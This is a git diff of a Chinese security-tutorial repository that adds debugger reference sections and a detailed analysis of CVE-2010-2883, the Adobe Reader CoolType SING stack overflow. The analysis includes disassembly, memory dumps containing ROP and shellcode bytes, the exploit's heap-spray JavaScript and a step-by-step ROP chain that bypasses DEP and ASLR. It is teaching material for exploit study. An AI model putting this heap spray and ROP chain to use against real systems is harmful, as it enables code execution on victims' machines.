diff --git a/doc/2.2.2_idapro.md b/doc/2.2.2_idapro.md index 9563162..1abf974 100644 --- a/doc/2.2.2_idapro.md +++ b/doc/2.2.2_idapro.md @@ -3,6 +3,7 @@ - [常用插件](#常用插件) - [常用脚本](#常用脚本) - [技巧](#技巧) +- [参考资料](#参考资料) ## 常用插件 @@ -51,3 +52,8 @@ fp.close() 3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况,主要是看入栈的参数与 ret xx 是否匹配 4. 注意观察 jmp 指令前后的堆栈是否有变化 5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义 + + +## 参考资料 +- 《IDA Pro权威指南(第2版)》 +- https://www.hex-rays.com/products/ida/ diff --git a/doc/2.3.2_ollydbg.md b/doc/2.3.2_ollydbg.md index cbfad21..f77eec8 100644 --- a/doc/2.3.2_ollydbg.md +++ b/doc/2.3.2_ollydbg.md @@ -1 +1,10 @@ # 2.3.2 OllyDbg 调试器 + +- [快捷键](#快捷键) +- [参考资料](#参考资料) + + +## 快捷键 + +## 参考资料 +- http://www.ollydbg.de/ diff --git a/doc/2.3.3_x64dbg.md b/doc/2.3.3_x64dbg.md index 78556eb..4b8db04 100644 --- a/doc/2.3.3_x64dbg.md +++ b/doc/2.3.3_x64dbg.md @@ -1,3 +1,10 @@ # 2.3.3 x64dbg -https://x64dbg.com/#start +- [快捷键](#快捷键) +- [参考资料](#参考资料) + + +## 快捷键 + +## 参考资料 +- https://x64dbg.com/#start diff --git a/doc/2.3.4_windbg.md b/doc/2.3.4_windbg.md index 46233db..a5e1332 100644 --- a/doc/2.3.4_windbg.md +++ b/doc/2.3.4_windbg.md @@ -1 +1,10 @@ # 2.3.4 WinDbg + +- [快捷键](#快捷键) +- [参考资料](#参考资料) + + +## 快捷键 + +## 参考资料 +- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/ diff --git a/doc/7.1.8_adobe_reader_2010-2883.md b/doc/7.1.8_adobe_reader_2010-2883.md index a9bfc28..8ba5186 100644 --- a/doc/7.1.8_adobe_reader_2010-2883.md +++ b/doc/7.1.8_adobe_reader_2010-2883.md @@ -1,4 +1,4 @@ -# 7.1.8 [CVE-2010-2883] Adobe Reader 9.3.4 Stack Buffer Overflow +# 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞 - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) @@ -16,7 +16,7 @@ Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Windows XP SP3 | 体系结构:32 位 | -| 调试器 | WinDbg | 版本号:10.0 x86 | +| 调试器 | OllyDbg | 版本号:吾爱专版 | | 漏洞软件 | Adobe Reader | 版本号:9.3.4 | 我们利用 Metasploit 来生成攻击样本: @@ -42,11 +42,761 @@ msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit [+] cve20102883.pdf stored at /home/firmy/.msf4/local/cve20102883.pdf ``` -使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器: +使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器。 ## 漏洞分析 +#### PDF 文件格式 +首先当然得知道 PDF 格式是怎样的。 +``` +|------------| +| header | +|------------| +| body | +|------------| +| xref table | +|------------| +| trailer | +|------------| +``` +由 4 个部分组成: +- header:文件的第一行,指明了 PDF 文件的版本号,通常格式是 `%PDF-1.x`。 +- body:文件的主体部分,通常由对象文件组成,包括文本、图片和其他的多媒体文件等。 +- xref table:包含了对文件中所有对象的引用,通过它可以知道文件中有多少对象、对象的偏移以及字节长度。 +- trailer:包含指向交叉引用表以及关键对象的指针,并以 `%%EOF` 标记文件结束。 + +当我们对一个 PDF 文件执行 Save(保存)操作时,新添加的信息将会附加到原文件的末尾,即所谓的增量保存。这些信息主要由 3 部分(body changes, xref, trailer)组成,此时的 PDF 文件如下所示: +``` +|--------------| +| header | ------------ +|--------------| +| body | +|--------------| Original File +| xref table | +|--------------| +| trailer | ------------ +|--------------| +| body changes | +|--------------| Update 1 +| xref | +|--------------| +| trailer | ------------ +|--------------| +| ... | ... +|--------------| +| body changes | ------------ +|--------------| +| xref | Update n +|--------------| +| trailer | ------------ +|--------------| +``` +这样子虽然方便,但体积会越来越大。此时我们可以执行 Save as(另存为)操作,将所有的更新信息合并成一个完整的新的 PDF,格式回到一开始的结构,体积也相应的有所减小。 + +例如可以利用工具 PDFStreamDumper 解析我们的样本,其 xref 和 trailer 如下所示: +``` +xref +0 15 +0000000000 65535 f +0000000015 00000 n +0000000133 00000 n +0000000264 00000 n +0000000294 00000 n +0000000334 00000 n +0000000465 00000 n +0000000497 00000 n +0000000713 00000 n +0000000835 00000 n +0000001006 00000 n +0000041366 00000 n +0000041449 00000 n +0000045319 00000 n +0000045358 00000 n +trailer +<> +startxref +45789 +%%EOF +. +``` +该节区的对象的起始编号为 0,包含的对象个数为 15 个,每个对象在交叉引用表中占据一行。我们看到每行分为三列,分别表示对象在 PDF 中的文件偏移、对象的生成号和是否使用标志(`f` 表示 free,n 表示 used)。第一行对应的对象 ID 为 0,生成号总是 65535,而最后一行的生成号总是 0。 + +#### TTF 文件格式 +根据漏洞通告,我们知道是 TTF 字体的 SING 表引起的溢出。所以再来看一下 TTF 文件格式。 + +TTF 包含有一个表 TableDirectory,其中有一个 TableEntry 结构项,包含了资源标记、校验和、偏移量和每个表的大小: +```c +typedef sturct +{ + char tag[4]; + ULONG checkSum; + ULONG offset; + ULONG length; +} TableEntry; + +typedef struct +{ + Fixed sfntversion; + USHORT numTables; + USHORT searchRange; + USHORT entrySelector; + USHORT rangeShift; + TableEntry entries[numTables]; +} TableDirectory; +``` +另外,SING 表的结构如下: +```c +typedef struct +{ + USHORT tableVersionMajor; + USHORT tableVersionMinor; + USHORT glyphletVersion; + USHORT embeddinginfo; + USHORT mainGID; + USHORT unitsPerEm; + SHORT vertAdvance; + SHORT vertOrigin; + BYTE[28] uniqueName; + BYTE[16] METAMD5; + BYTE nameLength; + BYTE[] baseGlyphName; +} SINGTable; +``` + +还是利用 PDFStreamDumper,从样本里将 TTF 取出来,需要注意的是 TTF 采用大端序。 + +
+$ xxd -g1 hexC0E5.tmp | grep -A1 "SING" +000000e0: 05 47 06 3a 00 00 eb 2c 00 00 00 20 53 49 4e 47 .G.:...,... SING +000000f0: d9 bc c8 b5 00 00 01 1c 00 00 1d df 70 6f 73 74 ............post ++ +加粗部分即 SING 表目录项,其 `offset` 域为 `0x0000011c`。 + +于是找到 SING 表,其中加粗部分为 `uniqueName` 域: + +
+$ xxd -g1 hexC0E5.tmp | grep -A3 "00000110" +00000110: 3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00 ;..... ....h.... +00000120: 01 0e 00 01 00 00 00 00 00 00 00 3a 92 f3 5e 4d ...........:..^M +00000130: 73 5d 52 c2 14 a7 82 4a 0c 0c 0c 0c bc 94 b0 83 s]R....J........ +00000140: 45 a2 04 7d 13 4b 30 18 98 95 ed 9f 3e cc 50 8b E..}.K0.....>.P. ++ +#### 栈溢出 +我们已经知道栈溢出发生在 SING 表的处理中,于是在 IDA 中打开 CoolType.dll,搜索字符串 "SING": +``` +.rdata:0819DB4C ; char aSing[] +.rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2↑o +.rdata:0819DB4C ; sub_803DCF9+7B↑o ... +.rdata:0819DB51 align 4 +``` +对每个数据引用进行检查,发现 `sub_803DCF9+7B↑o` 的下方存在危险函数 `strcat`: +``` +.text:0803DCF9 ; __unwind { // loc_8184A54 +.text:0803DCF9 push ebp +.text:0803DCFA sub esp, 104h ; 分配栈空间 104h +.text:0803DD00 lea ebp, [esp-4] ; ebp 赋值为 esp-4 +.text:0803DD04 mov eax, ___security_cookie +.text:0803DD09 xor eax, ebp +.text:0803DD0B mov [ebp+108h+var_4], eax +.text:0803DD11 push 4Ch +.text:0803DD13 mov eax, offset loc_8184A54 +.text:0803DD18 call __EH_prolog3_catch +.text:0803DD1D mov eax, [ebp+108h+arg_C] +.text:0803DD23 mov edi, [ebp+108h+arg_0] ; edi 赋值为 arg_0 +.text:0803DD29 mov ebx, [ebp+108h+arg_4] +.text:0803DD2F mov [ebp+108h+var_130], edi +.text:0803DD32 mov [ebp+108h+var_138], eax +.text:0803DD35 call sub_804172C +.text:0803DD3A xor esi, esi +.text:0803DD3C cmp dword ptr [edi+8], 3 +.text:0803DD40 ; try { +.text:0803DD40 mov [ebp+108h+var_10C], esi +.text:0803DD43 jz loc_803DF00 +.text:0803DD49 mov [ebp+108h+var_124], esi +.text:0803DD4C mov [ebp+108h+var_120], esi +.text:0803DD4F cmp dword ptr [edi+0Ch], 1 +.text:0803DD4F ; } // starts at 803DD40 +.text:0803DD53 ; try { +.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 +.text:0803DD57 jnz loc_803DEA9 +.text:0803DD5D push offset aName ; "name" +.text:0803DD62 push edi ; int +.text:0803DD63 lea ecx, [ebp+108h+var_124] +.text:0803DD66 mov [ebp+108h+var_119], 0 +.text:0803DD6A call sub_80217D7 +.text:0803DD6F cmp [ebp+108h+var_124], esi +.text:0803DD72 jnz short loc_803DDDD +.text:0803DD74 push offset aSing ; "SING" +.text:0803DD79 push edi ; int +.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; this 指针的地址,指向 SING 表入口 +.text:0803DD7D call sub_8021B06 ; sub_8021B06(edi, "SING"),处理 SING 表 +.text:0803DD82 mov eax, [ebp+108h+var_12C] +.text:0803DD85 cmp eax, esi ; 判断是否为空 +.text:0803DD85 ; } // starts at 803DD53 +.text:0803DD87 ; try { +.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 +.text:0803DD8B jz short loc_803DDC4 ; 不跳转 +.text:0803DD8D mov ecx, [eax] ; SING 表开头 4 字节,即字体资源版本号(00 01 00 00) +.text:0803DD8F and ecx, 0FFFFh ; 结果为 0 +.text:0803DD95 jz short loc_803DD9F ; 跳转 +.text:0803DD97 cmp ecx, 100h +.text:0803DD9D jnz short loc_803DDC0 +.text:0803DD9F +.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j +.text:0803DD9F add eax, 10h ; uniqueName 域 +.text:0803DDA2 push eax ; Source ; 指向 uniqueName 的指针 +.text:0803DDA3 lea eax, [ebp+108h+Dest] +.text:0803DDA6 push eax ; Dest ; 目的地址是固定大小的栈空间 +.text:0803DDA7 mov [ebp+108h+Dest], 0 +.text:0803DDAB call strcat ; 造成溢出 +``` +在调用 strcat 函数时,未对 uniqueName 的字符串长度进行检查,直接将其复制到固定大小的栈空间,造成溢出。strcat 函数原型如下: +```c +char *strcat(char *dest, const char *src); + +char *strncat(char *dest, const char *src, size_t n); +``` + +下面打开 OllyDbg 调试一下,先来看看函数 `sub_8021B06` 做了什么,在 `0803DD7D` 设置断点,然后在 Reader 中打开样本,程序就断了下来: +``` +0803DD7D E8 843DFEFF call CoolType.08021B06 +0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] +``` +此时的 this 指针指向 TTF 对象: +
+d ecx: + +0012E4B4 B0 54 18 02 98 15 FC 01 00 00 00 00 00 00 00 00 癟??........ + +d 021854B0: + +021854B0 00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32 .......OS/2 <-- TableDirectory +021854C0 B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54 確鬰..雙...VPCLT +... ++ +然后 F8 单步步过,eax 里是函数的返回值 `0012E4B4`,其值等于 this 指针的地址。 +
+d 0012E4B4: + +0012E4B4 38 B9 7D 04 DF 1D 00 00 00 00 00 00 00 00 00 00 8箎?.......... ++下一句给 eax 赋值为一个指向 SING 表的指针,即 this 指针的内容。 +
+d 047DB938: + +047DB938 00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A ...........: <-- SING +047DB948 92 F3 5E 4D 73 5D 52 C2 14 A7 82 4A 0C 0C 0C 0C 掦^Ms]R?J.... <-- uniqueName +047DB958 BC 94 B0 83 45 A2 04 7D 13 4B 30 18 98 95 ED 9F 紨皟E?}K0槙頍 <-- 0x1c bytes +047DB968 3E CC 50 8B AC FE B5 5C 8F 86 D5 26 8B 36 0C 13 >蘌嫭\弳??. +047DB978 25 2D 1F C3 0E 47 40 13 C9 1C 5F 86 90 AC 42 6D %-?G@?_啇珺m +047DB988 40 44 C6 D4 59 9A AC 7D 1B E1 CA 25 3E E4 B3 05 @D圃Y毈}崾%>涑 +047DB998 0D 85 43 B3 D9 58 4E 7E B9 A3 6D 4C 89 29 1D FE .匔迟XN~梗mL? +047DB9A8 73 9A C4 84 6C 29 7A 5D 6D 7B 6E 1C 39 E0 1E E4 s毮刲)z]m{n9? +047DB9B8 51 7A 86 DE 7B FB 6F 04 B0 CF 3E E0 CF 4C AB FA Qz嗈{鹢跋>嘞L +047DB9C8 71 41 CD 19 69 68 4E F6 35 A1 B5 3C 66 77 F2 45 qA?ihN?〉 fw駿 +047DB9D8 71 73 01 C0 19 F4 A4 E1 D9 8A 8B C2 85 83 EA 2F qs?簸豳妺聟冴/ +047DB9E8 6E ED 57 4D E6 B7 7F 88 48 BD 16 8E DC 51 9E 7E n鞼M娣圚?庈Q瀪 +047DB9F8 BE 8B 09 8E 53 50 ED A9 F1 AC AE AD 01 5C 1E 11 緥.嶴P愆瘳\ +047DBA08 33 06 83 44 4B 4A EC 9F 26 3A AF 0A 74 62 C5 1E 3僁KJ鞜&:?tb? +047DBA18 AE A8 58 3F F3 F1 82 F0 4D AC DA AE 10 AB 02 B9 X?篑傪M?? +047DBA28 E2 03 EF F6 76 B4 EF 35 4D 8D 45 3B F4 FE 9A D0 ?秭v达5M岴;酤毿 +047DBA38 58 AE 97 E5 D7 D8 EF 62 2F 4E 30 D6 B8 B4 A2 73 X畻遄仫b/N0指储s +047DBA48 E3 B7 84 6A A9 41 CE 16 CC FB 8B 1D 43 1B B5 DB 惴刯〢?帖?C帝 +047DBA58 1D 60 EC BE C1 47 BA 2A 03 DD 3A C4 E1 93 74 1D `炀罣??尼搕 +047DBA68 66 41 B0 85 B8 2A 5E DE 39 C9 5D 97 ED 1B 82 65 fA皡?^?蒥楉俥 +047DBA78 C6 08 8A 4A E5 20 41 0C 26 0A 03 AA 46 C5 36 C9 ?奐?A.&.狥? +047DBA88 CB 76 1D C4 56 BD 76 A3 34 F7 2B 79 1F 6D 51 2C 藇腣絭??ymQ, +047DBA98 9F 79 21 5E A8 94 1B 4A 05 BF B3 7C BC B2 FD 99 焬!^〝J砍|疾龣 +047DBAA8 E5 B3 08 D2 BC 86 25 BB C1 F8 DE F3 4A C8 1E 82 宄壹?涣驤? +047DBAB8 25 12 18 C2 A9 F1 E6 36 92 94 01 29 98 A3 F5 A3 %漏矜6挃)槪酰 +047DBAC8 25 4B 02 0D 17 F2 87 B1 99 A5 8F 6F AA 81 21 64 %K.驀睓o獊!d +047DBAD8 B8 57 11 6D CF 88 FC B8 22 B9 2B 58 66 CF D2 8B 竁m蠄"?Xf弦 +047DBAE8 F8 12 D6 82 CC B3 5E 28 B4 85 51 54 23 2B 74 21 ?謧坛^(磪QT#+t! +047DBAF8 FC 6D 97 08 96 0D BE 76 F5 46 04 72 A6 7B CA 29 黰??緑鮂r? +047DBB08 07 C6 41 55 B2 48 D9 F5 C7 E3 0C 35 1E DA 06 BF 艫U睭脔倾.5? +047DBB18 D3 62 D4 D3 D4 A8 D3 AF A1 17 09 13 E1 5B 18 FD 觔杂渊盈?.醄 +047DBB28 ED 04 43 AC 1C 6F A6 1E 02 64 49 D1 5F 5E 54 75 ?C?o?dI裚^Tu +047DBB38 A7 24 35 67 FF CC E6 E0 38 CB 80 4A 44 B6 49 EA ?5g替?藔JD禝 <-- ROP +047DBB48 A5 2D 16 26 4B B1 FA D2 87 82 36 34 9C F8 BD E0 ?&K柄覈?4滧洁 +047DBB58 7D 33 0F 1E 66 5B 23 98 E3 1A 80 55 CE 9F D3 BD }3f[#樸€U螣咏 +047DBB68 CE 3C 13 48 AF 4D BA 78 DB 4E EA 5F 34 3F 14 8C ?H疢簒跱阓4? +047DBB78 80 56 8D 65 A8 84 38 6D 91 4E B1 54 6C 00 00 00 €V峞▌8m慛盩l... <-- 0x22d bytes ++ +所以这个函数的作用已经清楚了,通过传入的 tag 字符串,在 this 指针指向的 TTF 对象里找到对应的表目录项,使用表地址重置 this 指针。 + +接下来就是 strcat 函数了。 +``` +0803DD9F 83C0 10 add eax,0x10 +0803DDA2 50 push eax +0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] +0803DDA6 50 push eax +0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0 +0803DDAB E8 483D1300 call
+d edi+0x3C: + +0012E754 D0 E6 12 00 00 00 00 00 00 AA 04 08 00 00 00 00 墟......?.... <-- eax + +d 0012E6D0: + +0012E6D0 38 CB 80 4A 44 B6 49 EA A5 2D 16 26 4B B1 FA D2 8藔JD禝辚-&K柄 <-- ROP ++ +#### Heap spray +上面的 gadget 返回后,堆栈就被转移到 heap spray 的地方了。 + +Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。 + +我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址): +
+0C0C0BE0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide +0C0C0BF0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ +0C0C0C00 0C 0C 0C 0C 0C 0C 0C 0C 41 41 41 41 A5 63 80 4A ........AAAA€J +0C0C0C10 00 00 8A 4A 96 21 80 4A 90 1F 80 4A 3C 90 84 4A ..奐?€J?€J<悇J <-- ROP +0C0C0C20 92 B6 80 4A 64 10 80 4A C8 22 85 4A 00 00 00 10 挾€Jd€J?匤... +0C0C0C30 00 00 00 00 00 00 00 00 02 00 00 00 02 01 00 00 ............. +0C0C0C40 00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A ....€Jd€J?凧 +0C0C0C50 B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A ?€J...Θ€J?€J +0C0C0C60 38 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF 8悇J挾€Jd€J +0C0C0C70 00 00 00 00 40 00 00 00 00 00 00 00 00 00 01 00 ....@.......... +0C0C0C80 00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A ....€Jd€J?凧 +0C0C0C90 B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A ?€J...Θ€J?€J +0C0C0CA0 30 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF 0悇J挾€Jd€J +0C0C0CB0 22 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ".............. +0C0C0CC0 A5 63 80 4A 04 00 8A 4A 96 21 80 4A A5 63 80 4A €J.奐?€J€J +0C0C0CD0 64 10 80 4A B2 2D 84 4A B1 2A 80 4A 30 00 00 00 d€J?凧?€J0... +0C0C0CE0 A6 A8 80 4A 90 1F 80 4A 04 00 8A 4A D8 A7 80 4A Θ€J?€J.奐丕€J +0C0C0CF0 A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A €Jd€J?凧?€J +0C0C0D00 20 00 00 00 A6 A8 80 4A A5 63 80 4A 64 10 80 4A ...Θ€J€Jd€J +0C0C0D10 DC AE 80 4A 90 1F 80 4A 34 00 00 00 85 D5 80 4A 墚€J?€J4...呎€J +0C0C0D20 A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A €Jd€J?凧?€J +0C0C0D30 0A 00 00 00 A6 A8 80 4A 90 1F 80 4A 70 91 84 4A ....Θ€J?€Jp憚J +0C0C0D40 92 B6 80 4A FF FF FF FF FF FF FF FF FF FF FF FF 挾€J +0C0C0D50 00 10 00 00 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A ...哿賢$艋侓I瀂 <-- shellcode +0C0C0D60 29 C9 B1 31 31 5A 18 03 5A 18 83 C2 85 16 BC 62 )杀11ZZ兟?糱 +0C0C0D70 6D 54 3F 9B 6D 39 C9 7E 5C 79 AD 0B CE 49 A5 5E mT?沵9蓗\y?蜪 +0C0C0D80 E2 22 EB 4A 71 46 24 7C 32 ED 12 B3 C3 5E 66 D2 ?隞qF$|2?趁^f +0C0C0D90 47 9D BB 34 76 6E CE 35 BF 93 23 67 68 DF 96 98 G澔4vn?繐#gh邧 +0C0C0DA0 1D 95 2A 12 6D 3B 2B C7 25 3A 1A 56 3E 65 BC 58 ?m;+?:V>e糥 +0C0C0DB0 93 1D F5 42 F0 18 4F F8 C2 D7 4E 28 1B 17 FC 15 ?魾?O譔(? +0C0C0DC0 94 EA FC 52 12 15 8B AA 61 A8 8C 68 18 76 18 6B 旉黂嫪a▽hvk +0C0C0DD0 BA FD BA 57 3B D1 5D 13 37 9E 2A 7B 5B 21 FE F7 糊篧;裖7?{[! +0C0C0DE0 67 AA 01 D8 EE E8 25 FC AB AB 44 A5 11 1D 78 B5 g?仡?獶?x +0C0C0DF0 FA C2 DC BD 16 16 6D 9C 7C E9 E3 9A 32 E9 FB A4 芙m渱殂?辂 +0C0C0E00 62 82 CA 2F ED D5 D2 E5 4A 29 99 A4 FA A2 44 3D b偸/碚义J)櫎D= +0C0C0E10 BF AE 76 EB 83 D6 F4 1E 7B 2D E4 6A 7E 69 A2 87 慨v雰拄{-鋔~i +0C0C0E20 F2 E2 47 A8 A1 03 42 CB 24 90 0E 22 C3 10 B4 3A 蜮GāB??"?? +0C0C0E30 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide +0C0C0E40 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ ++ +通过 PDFStreamDumper 可以看到内嵌的 JavaScript,将变量还原后代码如下: +```javascript +var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' ); +var rop = unescape( "%u0c0c%u0c0c" ); +while (rop.length + 20 + 8 < 65536) rop+=rop; +SP = rop.substring(0, (0x0c0c-0x24)/2); +SP += shellcode; +SP += rop; +slackspace = SP.substring(0, 65536/2); +while(slackspace.length < 0x80000) slackspace += slackspace; +bigblock = slackspace.substring(0, 0x80000 - (0x1020-0x08) / 2); +var memory = new Array(); +for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s"; +``` + +接下来程序将依次执行下面的 gadgets: +``` +4A8063A5 59 pop ecx ; esp = 0C0C0C14, ecx = 4A8A0000 +4A8063A6 C3 retn ; esp = 0C0C0C18, eip = 4A802196 +``` +``` +4A802196 8901 mov dword ptr ds:[ecx],eax +4A802198 C3 retn ; eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; eax = 4A84903C <&KERNEL32.CreateFileA> +4A801F91 C3 retn ; esp = 0C0C0C24, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileA +``` +调用函数 `kernel32.CreateFileW` 创建文件,各参数如下所示: +``` +0C0C0C04 7FFDFC00 |FileName = "iso88591" +0C0C0C08 10000000 |Access = GENERIC_ALL +0C0C0C0C 00000000 |ShareMode = 0 +0C0C0C10 00000000 |pSecurity = NULL +0C0C0C14 00000002 |Mode = CREATE_ALWAYS +0C0C0C18 00000102 |Attributes = HIDDEN|TEMPORARY +0C0C0C1C 00000000 \hTemplateFile = NULL +``` + +然后通过同样的方法调用 `CreateFileMapping`: +``` +4A8063A5 59 pop ecx ; esp = 0C0C0C4C, ecp = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0C50, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0C54, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0C58, ebx = 00000008 +4A802AB2 C3 retn ; esp = 0C0C0C5C, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +4A80A8A9 75 03 jnz short icucnv36.4A80A8AE +4A80A8AB B0 01 mov al,0x1 +4A80A8AD C3 retn +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0C60, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; esp = 0C0C0C64, eax = 4A849038 <&KERNEL32.CreateFileMappingA> +4A801F91 C3 retn ; esp = 0C0C0C68, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileMappingA +``` +调用函数 `kernel32.CreateFileMappingW` 创建内存映射,各参数如下所示: +``` +0C0C0C40 000003D4 |hFile = 000003D4 +0C0C0C44 00000000 |pSecurity = NULL +0C0C0C48 00000040 |Protection = PAGE_EXECUTE_READWRITE +0C0C0C4C 00000000 |MaximumSizeHigh = 0x0 +0C0C0C50 00010000 |MaximumSizeLow = 0x10000 +0C0C0C54 00000000 \MapName = NULL +``` + +接下来是调用 `MapViewOfFile` 的过程: +``` +4A8063A5 59 pop ecx ; esp = 0C0C0C8C, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0C90, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0C94, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0C98, ebx = 00000008 +4A802AB2 C3 retn ; esp = 0C0C0C9C, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0CA0, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; esp = 0C0C0CA4, eax = 4A849030 <&KERNEL32.MapViewOfFile> +4A801F91 C3 retn ; esp = 0C0C0CA8, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.MapViewOfFile +``` +调用函数 `kernel32.MapViewOfFileEx` 将文件映射到内存映射地址空间,各参数如下所示: +``` +0C0C0C8C 000003D8 |hMapObject = 000003D8 +0C0C0C90 00000022 |AccessMode = 0x22 +0C0C0C94 00000000 |OffsetHigh = 0x0 +0C0C0C98 00000000 |OffsetLow = 0x0 +0C0C0C9C 00010000 |MapSize = 10000 (65536.) +0C0C0CA0 00000000 \BaseAddr = NULL +``` + +最后调用函数 `memcpy` 将真正的 shellcode 复制到 `MapViewOfFile` 返回的地址处。这是一段可读可写可执行的内存,从而绕过 DEP。另外由于所使用的 gadgets 都来自 `icucnv36.dll` 模块,该模块不受 ASLR 的影响,所以同时也相当于绕过了 ASLR。 +``` +4A8063A5 59 pop ecx ; esp = 0C0C0CC8, ecx = 4A8A0004 +4A8063A6 C3 retn ; esp = 0C0C0CCC, eip = 4A802196 +``` +``` +4A802196 8901 mov dword ptr ds:[ecx],eax +4A802198 C3 retn ; esp = 0C0C0CD0, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; esp = 0C0C0CD4, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0CD8, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0CDC, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0CE0, ebx = 00000030 +4A802AB2 C3 retn ; esp = 0C0C0CE4, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0CE8, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; esp = 0C0C0CEC, eax = 4A8A0004 +4A801F91 C3 retn ; esp = 0C0C0CF0, eip = 4A80A7D8 +``` +``` +4A80A7D8 8B00 mov eax,dword ptr ds:[eax] +4A80A7DA C3 retn ; esp = 0C0C0CF4, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; esp = 0C0C0CF8, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0CFC, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0D00, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; esp = 0C0C0D04, ebx = 00000020 +4A802AB2 C3 retn ; esp = 0C0C0D08, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0D0C, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; esp = 0C0C0D10, ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0D14, eip = 4A80AEDC +``` +``` +4A80AEDC 8D5424 0C lea edx,dword ptr ss:[esp+0xC] ; edx = 0C0C0D20 +4A80AEE0 52 push edx +4A80AEE1 50 push eax +4A80AEE2 FF7424 0C push dword ptr ss:[esp+0xC] +4A80AEE6 FF35 3C098A4A push dword ptr ds:[0x4A8A093C] +4A80AEEC FFD1 call ecx ; esp = 0C0C0D00, eip = 4A801064 +4A80AEEE 83C4 10 add esp,0x10 +4A80AEF1 C3 retn +``` +``` +4A801064 C3 retn ; esp = 0C0C0D04, eip = 4A80AEEE +``` +``` +4A80AEEE 83C4 10 add esp,0x10 